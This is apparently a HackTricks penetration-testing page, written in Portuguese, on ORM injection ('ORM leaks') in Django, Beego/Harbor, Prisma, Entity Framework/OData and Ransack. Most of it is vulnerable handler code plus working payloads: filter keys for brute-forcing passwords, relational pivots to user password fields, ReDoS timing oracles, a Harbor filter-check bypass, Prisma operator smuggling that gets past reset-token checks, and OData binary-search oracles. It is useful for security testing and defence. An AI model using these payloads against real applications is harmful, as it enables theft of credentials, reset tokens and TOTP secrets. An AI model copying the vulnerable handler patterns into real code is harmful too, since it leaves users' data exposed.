ORM Injection

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Django ORM (Python)

Em this post é explicado como é possível tornar um Django ORM vulnerável usando, por exemplo, um código como:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Repare como todo o request.data (que será um json) é passado diretamente para filter objects from the database. Um atacante poderia enviar filtros inesperados para leak mais dados do que o esperado.

Examples:

  • Login: Em um login simples tente leak as senhas dos usuários registrados nele.
{
"username": "admin",
"password_startswith": "a"
}

Caution

É possível brute-force the password até que seja leaked.

  • Relational filtering: É possível percorrer relações para leak informações de colunas que nem sequer eram esperadas para serem usadas na operação. Por exemplo, se for possível leak artigos criados por um usuário com estas relações: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

É possível encontrar o password de todos os users que tenham criado um article

  • Filtragem relacional muitos-para-muitos: No exemplo anterior não conseguimos encontrar passwords de users que não tenham criado um article. No entanto, seguindo outras relações isso é possível. Por exemplo: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

Neste caso podemos encontrar todos os users nos departamentos de users que criaram artigos e então leak as passwords (no json anterior estamos apenas leaking os usernames, mas então é possível leak as passwords).

  • Abusing Django Group and Permission many-to-may relations with users: Além disso, o modelo AbstractUser é usado para gerar users no Django e por padrão este modelo tem algumas many-to-many relationships com as tabelas Permission e Group. O que basicamente é uma forma padrão de acessar outros users a partir de um user se eles estiverem no mesmo group ou compartilharem a mesma permission.
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: O mesmo post do blog propôs contornar o uso de alguns filtros como articles = Article.objects.filter(is_secret=False, **request.data). É possível dump artigos que têm is_secret=True porque podemos voltar por uma relação para a tabela Article e leak secret articles a partir de artigos não secretos — os resultados são combinados e o campo is_secret é verificado no artigo não secreto enquanto os dados são leak do artigo secreto.
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

Abusando de relacionamentos, é possível contornar até mesmo filtros destinados a proteger os dados exibidos.

  • Error/Time based via ReDoS: Nos exemplos anteriores, esperava-se ter respostas diferentes dependendo se o filtro funcionou ou não, para usar isso como oracle. Mas pode ser que alguma ação seja executada no database e a resposta seja sempre a mesma. Nesse cenário, pode ser possível provocar um erro no database para obter um novo oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Do mesmo post sobre este vetor:

  • SQLite: Não tem um operador regexp por padrão (exige carregar uma extensão de terceiros)
  • PostgreSQL: Não tem um timeout de regex por padrão e é menos propenso a backtracking
  • MariaDB: Não tem um timeout de regex

Beego ORM (Go) & Harbor Filter Oracles

Beego espelha o DSL field__operator do Django, então qualquer handler que permita aos usuários controlar o primeiro argumento de QuerySeter.Filter() expõe todo o grafo de relações:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Solicitações como /search?filter=created_by__user__password__icontains=pbkdf podem pivotar através de chaves estrangeiras exatamente como as primitivas do Django acima. O helper q do Harbor analisava a entrada do usuário em filtros Beego, então usuários com baixos privilégios podiam sondar segredos observando as respostas de listagem:

  • GET /api/v2.0/users?q=password=~$argon2id$ → revela se algum hash contém $argon2id$.
  • GET /api/v2.0/users?q=salt=~abc → leaks salt substrings.

Contar as linhas retornadas, observar metadados de paginação ou comparar o tamanho das respostas fornece um oracle para brute-force de hashes, salts e TOTP seeds inteiros.

Contornando os patches do Harbor com parseExprs

Harbor tentou proteger campos sensíveis marcando-os com filter:"false" e validando apenas o primeiro segmento da expressão:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

A função interna do Beego parseExprs percorre cada segmento delimitado por __ e, quando o segmento atual não é uma relação, simplesmente sobrescreve o campo alvo com o próximo segmento. Payloads como email__password__startswith=foo portanto passam na verificação Harbor’s Filterable(email)=true mas são executados como password__startswith=foo, contornando listas de negação.

v2.13.1 limitou chaves a um único separador, mas o próprio construtor fuzzy-match do Harbor anexa operadores após a validação: q=email__password=~abcFilter("email__password__icontains", "abc"). O ORM novamente interpreta isso como password__icontains. Aplicações Beego que inspecionam apenas o primeiro componente __ ou que anexam operadores mais tarde no pipeline de requisição permanecem vulneráveis ao mesmo primitivo de sobrescrita e ainda podem ser abusadas como oráculos de leak às cegas.

Prisma ORM (NodeJS)

A seguir estão tricks extracted from this post.

  • Controle total do find:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

É possível ver que todo o body JavaScript é passado para o prisma para realizar queries.

No exemplo do post original, isso verificaria todos os posts createdBy alguém (cada post é criado por alguém), retornando também as informações do usuário dessa pessoa (username, password…)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

O seguinte seleciona todos os posts criados por alguém que tenha uma senha e irá retornar a senha:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Controle total da cláusula where:

Vamos dar uma olhada neste exemplo onde o atacante pode controlar a cláusula where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

É possível filtrar a senha dos usuários diretamente assim:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

Usando operações como startsWith é possível provocar um leak de informação.

  • Bypass de filtragem em relacionamentos Many-to-many:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

É possível leak artigos não publicados ao retornar pelos relacionamentos many-to-many entre Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Também é possível leak todos os usuários abusando de algum loop em relacionamentos many-to-many:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: No post original você pode ler um conjunto muito extenso de testes realizados para encontrar o payload ideal para leak de informações com um time based payload. Isto é:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Onde o {CONTAINS_LIST} é uma lista com 1000 strings para garantir que a resposta seja atrasada quando o leak correto for encontrado.

Type confusion on where filters (operator injection)

A query API do Prisma aceita valores primitivos ou objetos de operador. Quando handlers assumem que o corpo da requisição contém strings simples, mas as passam diretamente para where, atacantes podem contrabandear operadores em fluxos de autenticação e contornar verificações de token.

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

Vetores comuns de coerção:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ corresponde a todo usuário cujo token não é E.
  • URL-encoded body with extended: true: resetToken[not]=E&password=newpass torna-se o mesmo objeto.
  • Query string in Express <5 or with extended parsers: /reset?resetToken[contains]=argon2 leaks correspondências de substring.
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} se os cookies forem encaminhados para Prisma.

Porque Prisma avalia { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., qualquer verificação de igualdade em segredos (reset tokens, API keys, magic links) pode ser ampliada para um predicado que retorna verdadeiro sem conhecer o segredo. Combine isso com filtros relacionais (createdBy) para selecionar uma vítima.

Procure fluxos onde:

  • Request schemas aren’t enforced, so nested objects survive deserialization.
  • Extended body/query parsers stay enabled and accept bracket syntax.
  • Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.

Entity Framework & OData Filter Leaks

Reflection-based text helpers leak secrets

Microsoft TextFilter helper abused for leaks ```csharp IQueryable TextFilter(IQueryable source, string term) { var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string)); if (!stringProperties.Any()) { return source; } var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) }); var prm = Expression.Parameter(typeof(T)); var body = stringProperties .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term))) .Aggregate(Expression.OrElse); return source.Where(Expression.Lambda>(body, prm)); } ```

Helpers que enumeram todas as propriedades string e as envolvem em .Contains(term) expõem efetivamente senhas, tokens de API, salts e segredos TOTP a qualquer usuário que possa chamar o endpoint. Directus CVE-2025-64748 é um exemplo real onde o endpoint de busca directus_users incluiu token e tfa_secret em seus predicados LIKE gerados, transformando contagens de resultados em um leak oracle.

OData comparison oracles

ASP.NET OData controllers frequentemente retornam IQueryable<T> e permitem $filter, mesmo quando funções como contains estão desabilitadas. Enquanto o EDM expor a propriedade, atacantes ainda podem compará-la:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

A mera presença ou ausência de resultados (ou metadados de paginação) permite realizar uma busca binária caractere a caractere de acordo com a collation do banco de dados. Propriedades de navegação (CreatedBy/Token, CreatedBy/User/Password) permitem pivôs relacionais similares aos do Django/Beego, então qualquer EDM que exponha campos sensíveis ou pule listas de negação por propriedade é um alvo fácil.

Bibliotecas e middlewares que traduzem strings de usuário em operadores ORM (por exemplo, Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) devem ser tratadas como sinks de alto risco, a menos que implementem listas de permissão estritas para campos/operadores.

Ransack (Ruby)

Esses truques foram found in this post.

Tip

Observe que o Ransack 4.0.0.0 agora exige o uso de uma lista de permissão explícita para atributos e associações pesquisáveis.

Exemplo vulnerável:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Observe como a query será definida pelos parâmetros enviados pelo atacante. Foi possível, por exemplo, realizar brute-force no reset token com:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Com brute-forcing e, potencialmente, explorando relationships, foi possível leakar mais dados de um banco de dados.

Estratégias de leak sensíveis à collation

Comparações de strings herdam a collation do banco de dados, portanto leak oracles devem ser projetados levando em conta como o backend ordena os caracteres:

  • As collations padrão do MariaDB/MySQL/SQLite/MSSQL costumam ser insensíveis a maiúsculas/minúsculas, então LIKE/= não conseguem distinguir a de A. Use operadores sensíveis a maiúsculas (regex/GLOB/BINARY) quando a capitalização do segredo for importante.
  • Prisma e Entity Framework refletem a ordenação do banco de dados. Collations como a SQL_Latin1_General_CP1_CI_AS do MSSQL posicionam pontuação antes de dígitos e letras, então probes de busca binária devem seguir essa ordenação em vez da ordem de bytes ASCII crua.
  • O LIKE do SQLite é insensível a maiúsculas/minúsculas a menos que uma collation customizada seja registrada, então Django/Beego leaks podem precisar de predicados __regex para recuperar tokens sensíveis a maiúsculas.

Calibrar payloads para a collation real evita probes desperdiçados e acelera significativamente ataques automatizados por substring/busca binária.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks